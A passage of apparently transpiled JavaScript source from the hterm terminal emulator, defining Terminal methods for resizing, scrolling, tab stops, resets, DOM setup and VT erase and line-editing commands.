*/hterm.Terminal.prototype.setHeight = function (rowCount) { if (rowCount == null) { this.div_.style.height = '100%'; return; } this.div_.style.height = this.scrollPort_.characterSize.height * rowCount + 'px'; this.realizeSize_(this.screenSize.width, rowCount); this.scheduleSyncCursorPosition_(); };/**
* Deal with terminal size changes.
*
* @param {number} columnCount The number of columns.
* @param {number} rowCount The number of rows.
*/hterm.Terminal.prototype.realizeSize_ = function (columnCount, rowCount) {
if (columnCount != this.screenSize.width) this.realizeWidth_(columnCount); if (rowCount != this.screenSize.height) this.realizeHeight_(rowCount);// Send new terminal size to plugin.
this.io.onTerminalResize_(columnCount, rowCount);
};/**
* Deal with terminal width changes.
*
* This function does what needs to be done when the terminal width changes
* out from under us.  It happens here rather than in onResize_() because this
* code may need to run synchronously to handle programmatic changes of
* terminal width.
*
* Relying on the browser to send us an async resize event means we may not be
* in the correct state yet when the next escape sequence hits.
*
* @param {number} columnCount The number of columns.
*/hterm.Terminal.prototype.realizeWidth_ = function (columnCount) { if (columnCount <= 0) throw new Error('Attempt to realize bad width: ' + columnCount); var deltaColumns = columnCount - this.screen_.getWidth(); this.screenSize.width = columnCount; this.screen_.setColumnCount(columnCount); if (deltaColumns > 0) { if (this.defaultTabStops) this.setDefaultTabStops(this.screenSize.width - deltaColumns); } else { for (var i = this.tabStops_.length - 1; i >= 0; i--) { if (this.tabStops_[i] < columnCount) break; this.tabStops_.pop(); } } this.screen_.setColumnCount(this.screenSize.width); };/**
* Deal with terminal height changes.
*
* This function does what needs to be done when the terminal height changes
* out from under us.  It happens here rather than in onResize_() because this
* code may need to run synchronously to handle programmatic changes of
* terminal height.
*
* Relying on the browser to send us an async resize event means we may not be
* in the correct state yet when the next escape sequence hits.
*
* @param {number} rowCount The number of rows.
*/hterm.Terminal.prototype.realizeHeight_ = function (rowCount) {
if (rowCount <= 0) throw new Error('Attempt to realize bad height: ' + rowCount); var deltaRows = rowCount - this.screen_.getHeight(); this.screenSize.height = rowCount; var cursor = this.saveCursor(); if (deltaRows < 0) {// Screen got smaller.
deltaRows *= -1; while (deltaRows) { var lastRow = this.getRowCount() - 1; if (lastRow - this.scrollbackRows_.length == cursor.row) break; if (this.getRowText(lastRow)) break; this.screen_.popRow(); deltaRows--; } var ary = this.screen_.shiftRows(deltaRows); this.scrollbackRows_.push.apply(this.scrollbackRows_, ary);// We just removed rows from the top of the screen, we need to update
// the cursor to match.
cursor.row = Math.max(cursor.row - deltaRows, 0);
} else if (deltaRows > 0) {// Screen got larger.
if (deltaRows <= this.scrollbackRows_.length) { var scrollbackCount = Math.min(deltaRows, this.scrollbackRows_.length); var rows = this.scrollbackRows_.splice(this.scrollbackRows_.length - scrollbackCount, scrollbackCount); this.screen_.unshiftRows(rows); deltaRows -= scrollbackCount; cursor.row += scrollbackCount; } if (deltaRows) this.appendRows_(deltaRows);
} this.setVTScrollRegion(null, null); this.restoreCursor(cursor);
};/**
* Scroll the terminal to the top of the scrollback buffer.
*/hterm.Terminal.prototype.scrollHome = function () { this.scrollPort_.scrollRowToTop(0); };/**
* Scroll the terminal to the end.
*/hterm.Terminal.prototype.scrollEnd = function () { this.scrollPort_.scrollRowToBottom(this.getRowCount()); };/**
* Scroll the terminal one page up (minus one line) relative to the current
* position.
*/hterm.Terminal.prototype.scrollPageUp = function () { this.scrollPort_.scrollPageUp(); };/**
* Scroll the terminal one page down (minus one line) relative to the current
* position.
*/hterm.Terminal.prototype.scrollPageDown = function () { this.scrollPort_.scrollPageDown(); };/**
* Scroll the terminal one line up relative to the current position.
*/hterm.Terminal.prototype.scrollLineUp = function () { var i = this.scrollPort_.getTopRowIndex(); this.scrollPort_.scrollRowToTop(i - 1); };/**
* Scroll the terminal one line down relative to the current position.
*/hterm.Terminal.prototype.scrollLineDown = function () { var i = this.scrollPort_.getTopRowIndex(); this.scrollPort_.scrollRowToTop(i + 1); };/**
* Clear primary screen, secondary screen, and the scrollback buffer.
*/hterm.Terminal.prototype.wipeContents = function () { this.scrollbackRows_.length = 0; this.scrollPort_.resetCache();[this.primaryScreen_, this.alternateScreen_].forEach(function (screen) { var bottom = screen.getHeight(); if (bottom > 0) { this.renumberRows_(0, bottom); this.clearHome(screen); } }.bind(this)); this.syncCursorPosition_(); this.scrollPort_.invalidate(); };/**
* Full terminal reset.
*
* Perform a full reset to the default values listed in
* https://vt100.net/docs/vt510-rm/RIS.html
*/hterm.Terminal.prototype.reset = function () {
var _this6 = this; this.vt.reset(); this.clearAllTabStops(); this.setDefaultTabStops(); var resetScreen = function resetScreen(screen) {// We want to make sure to reset the attributes before we clear the screen.
// The attributes might be used to initialize default/empty rows.
screen.textAttributes.reset(); screen.textAttributes.resetColorPalette(); _this6.clearHome(screen); screen.saveCursorAndState(_this6.vt);
}; resetScreen(this.primaryScreen_); resetScreen(this.alternateScreen_);// Reset terminal options to their default values.
this.options_ = new hterm.Options(); this.setCursorBlink(!!this.prefs_.get('cursor-blink')); this.setVTScrollRegion(null, null); this.setCursorVisible(true);
};/**
* Soft terminal reset.
*
* Perform a soft reset to the default values listed in
* http://www.vt100.net/docs/vt510-rm/DECSTR#T5-9
*/hterm.Terminal.prototype.softReset = function () {
var _this7 = this; this.vt.reset();// Reset terminal options to their default values.
this.options_ = new hterm.Options();// We show the cursor on soft reset but do not alter the blink state.
this.options_.cursorBlink = !!this.timeouts_.cursorBlink; var resetScreen = function resetScreen(screen) {// Xterm also resets the color palette on soft reset, even though it doesn't
// seem to be documented anywhere.
screen.textAttributes.reset(); screen.textAttributes.resetColorPalette(); screen.saveCursorAndState(_this7.vt);
}; resetScreen(this.primaryScreen_); resetScreen(this.alternateScreen_);// The xterm man page explicitly says this will happen on soft reset.
this.setVTScrollRegion(null, null);// Xterm also shows the cursor on soft reset, but does not alter the blink
// state.
this.setCursorVisible(true);
};/**
* Move the cursor forward to the next tab stop, or to the last column
* if no more tab stops are set.
*/hterm.Terminal.prototype.forwardTabStop = function () {
var column = this.screen_.cursorPosition.column; for (var i = 0; i < this.tabStops_.length; i++) { if (this.tabStops_[i] > column) { this.setCursorColumn(this.tabStops_[i]); return; } }// xterm does not clear the overflow flag on HT or CHT.
var overflow = this.screen_.cursorPosition.overflow; this.setCursorColumn(this.screenSize.width - 1); this.screen_.cursorPosition.overflow = overflow;
};/**
* Move the cursor backward to the previous tab stop, or to the first column
* if no previous tab stops are set.
*/hterm.Terminal.prototype.backwardTabStop = function () { var column = this.screen_.cursorPosition.column; for (var i = this.tabStops_.length - 1; i >= 0; i--) { if (this.tabStops_[i] < column) { this.setCursorColumn(this.tabStops_[i]); return; } } this.setCursorColumn(1); };/**
* Set a tab stop at the given column.
*
* @param {integer} column Zero based column.
*/hterm.Terminal.prototype.setTabStop = function (column) { for (var i = this.tabStops_.length - 1; i >= 0; i--) { if (this.tabStops_[i] == column) return; if (this.tabStops_[i] < column) { this.tabStops_.splice(i + 1, 0, column); return; } } this.tabStops_.splice(0, 0, column); };/**
* Clear the tab stop at the current cursor position.
*
* No effect if there is no tab stop at the current cursor position.
*/hterm.Terminal.prototype.clearTabStopAtCursor = function () { var column = this.screen_.cursorPosition.column; var i = this.tabStops_.indexOf(column); if (i == -1) return; this.tabStops_.splice(i, 1); };/**
* Clear all tab stops.
*/hterm.Terminal.prototype.clearAllTabStops = function () { this.tabStops_.length = 0; this.defaultTabStops = false; };/**
* Set up the default tab stops, starting from a given column.
*
* This sets a tabstop every (column % this.tabWidth) column, starting
* from the specified column, or 0 if no column is provided.  It also flags
* future resizes to set them up.
*
* This does not clear the existing tab stops first, use clearAllTabStops
* for that.
*
* @param {integer} opt_start Optional starting zero based starting column, useful
*     for filling out missing tab stops when the terminal is resized.
*/hterm.Terminal.prototype.setDefaultTabStops = function (opt_start) {
var start = opt_start || 0; var w = this.tabWidth;// Round start up to a default tab stop.
start = start - 1 - (start - 1) % w + w; for (var i = start; i < this.screenSize.width; i += w) { this.setTabStop(i); } this.defaultTabStops = true;
};/**
* Interpret a sequence of characters.
*
* Incomplete escape sequences are buffered until the next call.
*
* @param {string} str Sequence of characters to interpret or pass through.
*/hterm.Terminal.prototype.interpret = function (str) { this.vt.interpret(str); this.scheduleSyncCursorPosition_(); };/**
* Take over the given DIV for use as the terminal display.
*
* @param {HTMLDivElement} div The div to use as the terminal display.
*/hterm.Terminal.prototype.decorate = function (div) {
var charset = div.ownerDocument.characterSet.toLowerCase(); if (charset != 'utf-8') { console.warn('Document encoding should be set to utf-8, not "' + charset + '";' + ' Add <meta charset=\'utf-8\'/> to your HTML <head> to fix.'); } this.div_ = div; this.accessibilityReader_ = new hterm.AccessibilityReader(div); this.scrollPort_.decorate(div); this.scrollPort_.setBackgroundImage(this.prefs_.get('background-image')); this.scrollPort_.setBackgroundSize(this.prefs_.get('background-size')); this.scrollPort_.setBackgroundPosition(this.prefs_.get('background-position')); this.scrollPort_.setUserCssUrl(this.prefs_.get('user-css')); this.scrollPort_.setUserCssText(this.prefs_.get('user-css-text')); this.scrollPort_.setAccessibilityReader(this.accessibilityReader_); this.div_.focus = this.focus.bind(this); this.setFontSize(this.prefs_.get('font-size')); this.syncFontFamily(); this.setScrollbarVisible(this.prefs_.get('scrollbar-visible')); this.setScrollWheelMoveMultipler(this.prefs_.get('scroll-wheel-move-multiplier')); this.document_ = this.scrollPort_.getDocument(); this.document_.body.oncontextmenu = function () { return false; }; var onMouse = this.onMouse_.bind(this); var screenNode = this.scrollPort_.getScreenNode(); screenNode.addEventListener('mousedown', onMouse); screenNode.addEventListener('mouseup', onMouse); screenNode.addEventListener('mousemove', onMouse); this.scrollPort_.onScrollWheel = onMouse; screenNode.addEventListener('keydown', this.onKeyboardActivity_.bind(this)); screenNode.addEventListener('focus', this.onFocusChange_.bind(this, true));// Listen for mousedown events on the screenNode as in FF the focus
// events don't bubble.
screenNode.addEventListener('mousedown', function () { setTimeout(this.onFocusChange_.bind(this, true)); }.bind(this)); screenNode.addEventListener('blur', this.onFocusChange_.bind(this, false)); var style = this.document_.createElement('style'); style.textContent = '.cursor-node[focus="false"] {' + '  box-sizing: border-box;' + '  background-color: transparent !important;' + '  border-width: 2px;' + '  border-style: solid;' + '}' + '.wc-node {' + '  display: inline-block;' + '  text-align: center;' + '  width: calc(var(--hterm-charsize-width) * 2);' + '  line-height: var(--hterm-charsize-height);' + '}' + ':root {' + '  --hterm-charsize-width: ' + this.scrollPort_.characterSize.width + 'px;' + '  --hterm-charsize-height: ' + this.scrollPort_.characterSize.height + 'px;' +// Default position hides the cursor for when the window is initializing.
'  --hterm-cursor-offset-col: -1;' + '  --hterm-cursor-offset-row: -1;' + '  --hterm-blink-node-duration: 0.7s;' + '  --hterm-mouse-cursor-text: text;' + '  --hterm-mouse-cursor-pointer: default;' + '  --hterm-mouse-cursor-style: var(--hterm-mouse-cursor-text);' + '}' + '.uri-node:hover {' + '  text-decoration: underline;' + '  cursor: var(--hterm-mouse-cursor-pointer), pointer;' + '}' + '@keyframes blink {' + '  from { opacity: 1.0; }' + '  to { opacity: 0.0; }' + '}' + '.blink-node {' + '  animation-name: blink;' + '  animation-duration: var(--hterm-blink-node-duration);' + '  animation-iteration-count: infinite;' + '  animation-timing-function: ease-in-out;' + '  animation-direction: alternate;' + '}';// Insert this stock style as the first node so that any user styles will
// override w/out having to use !important everywhere.  The rules above mix
// runtime variables with default ones designed to be overridden by the user,
// but we can wait for a concrete case from the users to determine the best
// way to split the sheet up to before & after the user-css settings.
this.document_.head.insertBefore(style, this.document_.head.firstChild); this.cursorNode_ = this.document_.createElement('div'); this.cursorNode_.id = 'hterm:terminal-cursor'; this.cursorNode_.className = 'cursor-node'; this.cursorNode_.style.cssText = 'position: absolute;' + 'left: calc(var(--hterm-charsize-width) * var(--hterm-cursor-offset-col));' + 'top: calc(var(--hterm-charsize-height) * var(--hterm-cursor-offset-row));' + 'display: ' + (this.options_.cursorVisible ? '' : 'none') + ';' + 'width: var(--hterm-charsize-width);' + 'height: var(--hterm-charsize-height);' + '-webkit-transition: opacity, background-color 100ms linear;' + '-moz-transition: opacity, background-color 100ms linear;'; this.setCursorColor(); this.setCursorBlink(!!this.prefs_.get('cursor-blink')); this.restyleCursor_(); this.document_.body.appendChild(this.cursorNode_);// When 'enableMouseDragScroll' is off we reposition this element directly
// under the mouse cursor after a click.  This makes Chrome associate
// subsequent mousemove events with the scroll-blocker.  Since the
// scroll-blocker is a peer (not a child) of the scrollport, the mousemove
// events do not cause the scrollport to scroll.
//
// It's a hack, but it's the cleanest way I could find.
this.scrollBlockerNode_ = this.document_.createElement('div'); this.scrollBlockerNode_.id = 'hterm:mouse-drag-scroll-blocker'; this.scrollBlockerNode_.setAttribute('aria-hidden', 'true'); this.scrollBlockerNode_.style.cssText = 'position: absolute;' + 'top: -99px;' + 'display: block;' + 'width: 10px;' + 'height: 10px;'; this.document_.body.appendChild(this.scrollBlockerNode_); this.scrollPort_.onScrollWheel = onMouse;['mousedown', 'mouseup', 'mousemove', 'click', 'dblclick'].forEach(function (event) { this.scrollBlockerNode_.addEventListener(event, onMouse); this.cursorNode_.addEventListener(event, onMouse); this.document_.addEventListener(event, onMouse); }.bind(this)); this.cursorNode_.addEventListener('mousedown', function () { setTimeout(this.focus.bind(this)); }.bind(this)); this.setReverseVideo(false); this.scrollPort_.focus(); this.scrollPort_.scheduleRedraw();
};/**
* Return the HTML document that contains the terminal DOM nodes.
*
* @return {HTMLDocument}
*/hterm.Terminal.prototype.getDocument = function () { return this.document_; };/**
* Focus the terminal.
*/hterm.Terminal.prototype.focus = function () { this.scrollPort_.focus(); };/**
* Return the HTML Element for a given row index.
*
* This is a method from the RowProvider interface.  The ScrollPort uses
* it to fetch rows on demand as they are scrolled into view.
*
* TODO(rginda): Consider saving scrollback rows as (HTML source, text content)
* pairs to conserve memory.
*
* @param {integer} index The zero-based row index, measured relative to the
*     start of the scrollback buffer.  On-screen rows will always have the
*     largest indices.
* @return {HTMLElement} The 'x-row' element containing for the requested row.
*/hterm.Terminal.prototype.getRowNode = function (index) { if (index < this.scrollbackRows_.length) return this.scrollbackRows_[index]; var screenIndex = index - this.scrollbackRows_.length; return this.screen_.rowsArray[screenIndex]; };/**
* Return the text content for a given range of rows.
*
* This is a method from the RowProvider interface.  The ScrollPort uses
* it to fetch text content on demand when the user attempts to copy their
* selection to the clipboard.
*
* @param {integer} start The zero-based row index to start from, measured
*     relative to the start of the scrollback buffer.  On-screen rows will
*     always have the largest indices.
* @param {integer} end The zero-based row index to end on, measured
*     relative to the start of the scrollback buffer.
* @return {string} A single string containing the text value of the range of
*     rows.  Lines will be newline delimited, with no trailing newline.
*/hterm.Terminal.prototype.getRowsText = function (start, end) { var ary = []; for (var i = start; i < end; i++) { var node = this.getRowNode(i); ary.push(node.textContent); if (i < end - 1 && !node.getAttribute('line-overflow')) ary.push('\n'); } return ary.join(''); };/**
* Return the text content for a given row.
*
* This is a method from the RowProvider interface.  The ScrollPort uses
* it to fetch text content on demand when the user attempts to copy their
* selection to the clipboard.
*
* @param {integer} index The zero-based row index to return, measured
*     relative to the start of the scrollback buffer.  On-screen rows will
*     always have the largest indices.
* @return {string} A string containing the text value of the selected row.
*/hterm.Terminal.prototype.getRowText = function (index) { var node = this.getRowNode(index); return node.textContent; };/**
* Return the total number of rows in the addressable screen and in the
* scrollback buffer of this terminal.
*
* This is a method from the RowProvider interface.  The ScrollPort uses
* it to compute the size of the scrollbar.
*
* @return {integer} The number of rows in this terminal.
*/hterm.Terminal.prototype.getRowCount = function () { return this.scrollbackRows_.length + this.screen_.rowsArray.length; };/**
* Create DOM nodes for new rows and append them to the end of the terminal.
*
* This is the only correct way to add a new DOM node for a row.  Notice that
* the new row is appended to the bottom of the list of rows, and does not
* require renumbering (of the rowIndex property) of previous rows.
*
* If you think you want a new blank row somewhere in the middle of the
* terminal, look into moveRows_().
*
* This method does not pay attention to vtScrollTop/Bottom, since you should
* be using moveRows() in cases where they would matter.
*
* The cursor will be positioned at column 0 of the first inserted line.
*
* @param {number} count The number of rows to created.
*/hterm.Terminal.prototype.appendRows_ = function (count) { var cursorRow = this.screen_.rowsArray.length; var offset = this.scrollbackRows_.length + cursorRow; for (var i = 0; i < count; i++) { var row = this.document_.createElement('x-row'); row.appendChild(this.document_.createTextNode('')); row.rowIndex = offset + i; this.screen_.pushRow(row); } var extraRows = this.screen_.rowsArray.length - this.screenSize.height; if (extraRows > 0) { var ary = this.screen_.shiftRows(extraRows); Array.prototype.push.apply(this.scrollbackRows_, ary); if (this.scrollPort_.isScrolledEnd) this.scheduleScrollDown_(); } if (cursorRow >= this.screen_.rowsArray.length) cursorRow = this.screen_.rowsArray.length - 1; this.setAbsoluteCursorPosition(cursorRow, 0); };/**
* Relocate rows from one part of the addressable screen to another.
*
* This is used to recycle rows during VT scrolls (those which are driven
* by VT commands, rather than by the user manipulating the scrollbar.)
*
* In this case, the blank lines scrolled into the scroll region are made of
* the nodes we scrolled off.  These have their rowIndex properties carefully
* renumbered so as not to confuse the ScrollPort.
*
* @param {number} fromIndex The start index.
* @param {number} count The number of rows to move.
* @param {number} toIndex The destination index.
*/hterm.Terminal.prototype.moveRows_ = function (fromIndex, count, toIndex) { var ary = this.screen_.removeRows(fromIndex, count); this.screen_.insertRows(toIndex, ary); var start, end; if (fromIndex < toIndex) { start = fromIndex; end = toIndex + count; } else { start = toIndex; end = fromIndex + count; } this.renumberRows_(start, end); this.scrollPort_.scheduleInvalidate(); };/**
* Renumber the rowIndex property of the given range of rows.
*
* The start and end indices are relative to the screen, not the scrollback.
* Rows in the scrollback buffer cannot be renumbered.  Since they are not
* addressable (you can't delete them, scroll them, etc), you should have
* no need to renumber scrollback rows.
*
* @param {number} start The start index.
* @param {number} end The end index.
* @param {hterm.Screen} opt_screen The screen to renumber.
*/hterm.Terminal.prototype.renumberRows_ = function (start, end, opt_screen) { var screen = opt_screen || this.screen_; var offset = this.scrollbackRows_.length; for (var i = start; i < end; i++) { screen.rowsArray[i].rowIndex = offset + i; } };/**
* Print a string to the terminal.
*
* This respects the current insert and wraparound modes.  It will add new lines
* to the end of the terminal, scrolling off the top into the scrollback buffer
* if necessary.
*
* The string is *not* parsed for escape codes.  Use the interpret() method if
* that's what you're after.
*
* @param{string} str The string to print.
*/hterm.Terminal.prototype.print = function (str) {// Basic accessibility output for the screen reader.
this.accessibilityReader_.announce(str); var startOffset = 0; var strWidth = lib.wc.strWidth(str);// Fun edge case: If the string only contains zero width codepoints (like
// combining characters), we make sure to iterate at least once below.
if (strWidth == 0 && str) strWidth = 1; while (startOffset < strWidth) {
if (this.options_.wraparound && this.screen_.cursorPosition.overflow) { this.screen_.commitLineOverflow(); this.newLine(true); } var count = strWidth - startOffset; var didOverflow = false; var substr; if (this.screen_.cursorPosition.column + count >= this.screenSize.width) { didOverflow = true; count = this.screenSize.width - this.screen_.cursorPosition.column; } if (didOverflow && !this.options_.wraparound) {// If the string overflowed the line but wraparound is off, then the
// last printed character should be the last of the string.
// TODO: This will add to our problems with multibyte UTF-16 characters.
substr = lib.wc.substr(str, startOffset, count - 1) + lib.wc.substr(str, strWidth - 1); count = strWidth;
} else { substr = lib.wc.substr(str, startOffset, count); } var tokens = hterm.TextAttributes.splitWidecharString(substr); for (var i = 0; i < tokens.length; i++) { this.screen_.textAttributes.wcNode = tokens[i].wcNode; this.screen_.textAttributes.asciiNode = tokens[i].asciiNode; if (this.options_.insertMode) { this.screen_.insertString(tokens[i].str, tokens[i].wcStrWidth); } else { this.screen_.overwriteString(tokens[i].str, tokens[i].wcStrWidth); } this.screen_.textAttributes.wcNode = false; this.screen_.textAttributes.asciiNode = true; } this.screen_.maybeClipCurrentRow(); startOffset += count;
} this.scheduleSyncCursorPosition_(); if (this.scrollOnOutput_) this.scrollPort_.scrollRowToBottom(this.getRowCount());
};/**
* Set the VT scroll region.
*
* This also resets the cursor position to the absolute (0, 0) position, since
* that's what xterm appears to do.
*
* Setting the scroll region to the full height of the terminal will clear
* the scroll region.  This is *NOT* what most terminals do.  We're explicitly
* going "off-spec" here because it makes `screen` and `tmux` overflow into the
* local scrollback buffer, which means the scrollbars and shift-pgup/pgdn
* continue to work as most users would expect.
*
* @param {integer} scrollTop The zero-based top of the scroll region.
* @param {integer} scrollBottom The zero-based bottom of the scroll region,
*     inclusive.
*/hterm.Terminal.prototype.setVTScrollRegion = function (scrollTop, scrollBottom) { if (scrollTop == 0 && scrollBottom == this.screenSize.height - 1) { this.vtScrollTop_ = null; this.vtScrollBottom_ = null; } else { this.vtScrollTop_ = scrollTop; this.vtScrollBottom_ = scrollBottom; } };/**
* Return the top row index according to the VT.
*
* This will return 0 unless the terminal has been told to restrict scrolling
* to some lower row.  It is used for some VT cursor positioning and scrolling
* commands.
*
* @return {integer} The topmost row in the terminal's scroll region.
*/hterm.Terminal.prototype.getVTScrollTop = function () { if (this.vtScrollTop_ != null) return this.vtScrollTop_; return 0; };/**
* Return the bottom row index according to the VT.
*
* This will return the height of the terminal unless the it has been told to
* restrict scrolling to some higher row.  It is used for some VT cursor
* positioning and scrolling commands.
*
* @return {integer} The bottom most row in the terminal's scroll region.
*/hterm.Terminal.prototype.getVTScrollBottom = function () { if (this.vtScrollBottom_ != null) return this.vtScrollBottom_; return this.screenSize.height - 1; };/**
* Process a '\n' character.
*
* If the cursor is on the final row of the terminal this will append a new
* blank row to the screen and scroll the topmost row into the scrollback
* buffer.
*
* Otherwise, this moves the cursor to column zero of the next row.
*
* @param {boolean=} dueToOverflow Whether the newline is due to wraparound of
*     the terminal.
*/hterm.Terminal.prototype.newLine = function () {
var dueToOverflow = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; if (!dueToOverflow) this.accessibilityReader_.newLine(); var cursorAtEndOfScreen = this.screen_.cursorPosition.row == this.screen_.rowsArray.length - 1; if (this.vtScrollBottom_ != null) {// A VT Scroll region is active, we never append new rows.
if (this.screen_.cursorPosition.row == this.vtScrollBottom_) {// We're at the end of the VT Scroll Region, perform a VT scroll.
this.vtScrollUp(1); this.setAbsoluteCursorPosition(this.screen_.cursorPosition.row, 0);
} else if (cursorAtEndOfScreen) {// We're at the end of the screen, the only thing to do is put the
// cursor to column 0.
this.setAbsoluteCursorPosition(this.screen_.cursorPosition.row, 0);
} else {// Anywhere else, advance the cursor row, and reset the column.
this.setAbsoluteCursorPosition(this.screen_.cursorPosition.row + 1, 0);
}
} else if (cursorAtEndOfScreen) {// We're at the end of the screen.  Append a new row to the terminal,
// shifting the top row into the scrollback.
this.appendRows_(1);
} else {// Anywhere else in the screen just moves the cursor.
this.setAbsoluteCursorPosition(this.screen_.cursorPosition.row + 1, 0);
}
};/**
* Like newLine(), except maintain the cursor column.
*/hterm.Terminal.prototype.lineFeed = function () { var column = this.screen_.cursorPosition.column; this.newLine(); this.setCursorColumn(column); };/**
* If autoCarriageReturn is set then newLine(), else lineFeed().
*/hterm.Terminal.prototype.formFeed = function () { if (this.options_.autoCarriageReturn) { this.newLine(); } else { this.lineFeed(); } };/**
* Move the cursor up one row, possibly inserting a blank line.
*
* The cursor column is not changed.
*/hterm.Terminal.prototype.reverseLineFeed = function () { var scrollTop = this.getVTScrollTop(); var currentRow = this.screen_.cursorPosition.row; if (currentRow == scrollTop) { this.insertLines(1); } else { this.setAbsoluteCursorRow(currentRow - 1); } };/**
* Replace all characters to the left of the current cursor with the space
* character.
*
* TODO(rginda): This should probably *remove* the characters (not just replace
* with a space) if there are no characters at or beyond the current cursor
* position.
*/hterm.Terminal.prototype.eraseToLeft = function () { var cursor = this.saveCursor(); this.setCursorColumn(0); var count = cursor.column + 1; this.screen_.overwriteString(lib.f.getWhitespace(count), count); this.restoreCursor(cursor); };/**
* Erase a given number of characters to the right of the cursor.
*
* The cursor position is unchanged.
*
* If the current background color is not the default background color this
* will insert spaces rather than delete.  This is unfortunate because the
* trailing space will affect text selection, but it's difficult to come up
* with a way to style empty space that wouldn't trip up the hterm.Screen
* code.
*
* eraseToRight is ignored in the presence of a cursor overflow.  This deviates
* from xterm, but agrees with gnome-terminal and konsole, xfce4-terminal.  See
* crbug.com/232390 for details.
*
* @param {number} opt_count The number of characters to erase.
*/hterm.Terminal.prototype.eraseToRight = function (opt_count) { if (this.screen_.cursorPosition.overflow) return; var maxCount = this.screenSize.width - this.screen_.cursorPosition.column; var count = opt_count ? Math.min(opt_count, maxCount) : maxCount; if (this.screen_.textAttributes.background === this.screen_.textAttributes.DEFAULT_COLOR) { var cursorRow = this.screen_.rowsArray[this.screen_.cursorPosition.row]; if (hterm.TextAttributes.nodeWidth(cursorRow) <= this.screen_.cursorPosition.column + count) { this.screen_.deleteChars(count); this.clearCursorOverflow(); return; } } var cursor = this.saveCursor(); this.screen_.overwriteString(lib.f.getWhitespace(count), count); this.restoreCursor(cursor); this.clearCursorOverflow(); };/**
* Erase the current line.
*
* The cursor position is unchanged.
*/hterm.Terminal.prototype.eraseLine = function () { var cursor = this.saveCursor(); this.screen_.clearCursorRow(); this.restoreCursor(cursor); this.clearCursorOverflow(); };/**
* Erase all characters from the start of the screen to the current cursor
* position, regardless of scroll region.
*
* The cursor position is unchanged.
*/hterm.Terminal.prototype.eraseAbove = function () { var cursor = this.saveCursor(); this.eraseToLeft(); for (var i = 0; i < cursor.row; i++) { this.setAbsoluteCursorPosition(i, 0); this.screen_.clearCursorRow(); } this.restoreCursor(cursor); this.clearCursorOverflow(); };/**
* Erase all characters from the current cursor position to the end of the
* screen, regardless of scroll region.
*
* The cursor position is unchanged.
*/hterm.Terminal.prototype.eraseBelow = function () { var cursor = this.saveCursor(); this.eraseToRight(); var bottom = this.screenSize.height - 1; for (var i = cursor.row + 1; i <= bottom; i++) { this.setAbsoluteCursorPosition(i, 0); this.screen_.clearCursorRow(); } this.restoreCursor(cursor); this.clearCursorOverflow(); };/**
* Fill the terminal with a given character.
*
* This methods does not respect the VT scroll region.
*
* @param {string} ch The character to use for the fill.
*/hterm.Terminal.prototype.fill = function (ch) { var cursor = this.saveCursor(); this.setAbsoluteCursorPosition(0, 0); for (var row = 0; row < this.screenSize.height; row++) { for (var col = 0; col < this.screenSize.width; col++) { this.setAbsoluteCursorPosition(row, col); this.screen_.overwriteString(ch, 1); } } this.restoreCursor(cursor); };/**
* Erase the entire display and leave the cursor at (0, 0).
*
* This does not respect the scroll region.
*
* @param {hterm.Screen} opt_screen Optional screen to operate on.  Defaults
*     to the current screen.
*/hterm.Terminal.prototype.clearHome = function (opt_screen) {
var screen = opt_screen || this.screen_; var bottom = screen.getHeight(); this.accessibilityReader_.clear(); if (bottom == 0) {// Empty screen, nothing to do.
return;
} for (var i = 0; i < bottom; i++) { screen.setCursorPosition(i, 0); screen.clearCursorRow(); } screen.setCursorPosition(0, 0);
};/**
* Erase the entire display without changing the cursor position.
*
* The cursor position is unchanged.  This does not respect the scroll
* region.
*
* @param {hterm.Screen} opt_screen Optional screen to operate on.  Defaults
*     to the current screen.
*/hterm.Terminal.prototype.clear = function (opt_screen) { var screen = opt_screen || this.screen_; var cursor = screen.cursorPosition.clone(); this.clearHome(screen); screen.setCursorPosition(cursor.row, cursor.column); };/**
* VT command to insert lines at the current cursor row.
*
* This respects the current scroll region.  Rows pushed off the bottom are
* lost (they won't show up in the scrollback buffer).
*
* @param {integer} count The number of lines to insert.
*/hterm.Terminal.prototype.insertLines = function (count) {
var cursorRow = this.screen_.cursorPosition.row; var bottom = this.getVTScrollBottom(); count = Math.min(count, bottom - cursorRow);// The moveCount is the number of rows we need to relocate to make room for
// the new row(s).  The count is the distance to move them.
var moveCount = bottom - cursorRow - count + 1; if (moveCount) this.moveRows_(cursorRow, moveCount, cursorRow + count); for (var i = count - 1; i >= 0; i--) { this.setAbsoluteCursorPosition(cursorRow + i, 0); this.screen_.clearCursorRow(); }
};/**
* VT command to delete lines at the current cursor row.
*
* New rows are added to the bottom of scroll region to take their place.  New
* rows are strictly there to take up space and have no content or style.
*
* @param {number} count The number of lines to delete.
*/hterm.Terminal.prototype.deleteLines = function (count) { var cursor = this.saveCursor(); var top = cursor.row; var bottom = this.getVTScrollBottom(); var maxCount = bottom - top + 1; count = Math.min(count, maxCount); var moveStart = bottom - count + 1; if (count != maxCount) this.moveRows_(top, count, moveStart); for (var i = 0; i < count; i++) { this.setAbsoluteCursorPosition(moveStart + i, 0); this.screen_.clearCursorRow(); } this.restoreCursor(cursor); this.clearCursorOverflow(); };/**
* Inserts the given number of spaces at the current cursor position.
*
* The cursor position is not changed.
*
* @param {number} count The number of spaces to insert.
*/hterm.Terminal.prototype.insertSpace = function (count) { var cursor = this.saveCursor(); var ws = lib.f.getWhitespace(count || 1); this.screen_.insertString(ws, ws.length); this.screen_.maybeClipCurrentRow(); this.restoreCursor(cursor); this.clearCursorOverflow(); };/**
* Forward-delete the specified number of characters starting at the cursor
* position.
*
* @param {integer} count The number of characters to delete.
*/hterm.Terminal.prototype.deleteChars = function (count) { var deleted = this.screen_.deleteChars(count); if (deleted && !this.screen_.textAttributes.isDefault()) { var cursor = this.saveCursor(); this.setCursorColumn(this.screenSize.width - deleted); this.screen_.insertString(lib.f.getWhitespace(deleted)); this.restoreCursor(cursor); } this.clearCursorOverflow(); };/**
* Shift rows in the scroll region upwards by a given number of lines.
*
* New rows are inserted at the bottom of the scroll region to fill the
* vacated rows.  The new rows not filled out with the current text attributes.
*
* This function does not affect the scrollback rows at all.  Rows shifted
* off the top are lost.
*
* The cursor position is not altered.
*
* @param {integer} count The number of rows to scroll.
*/hterm.Terminal.prototype.vtScrollUp = function (count) { var cursor = this.saveCursor(); this.setAbsoluteCursorRow(this.getVTScrollTop()); this.deleteLines(count); this.restoreCursor(cursor); };/**
* Shift rows below the cursor down by a given number of lines.
*
* This function respects the current scroll region.
*
* New rows are inserted at the top of the scroll region to fill the
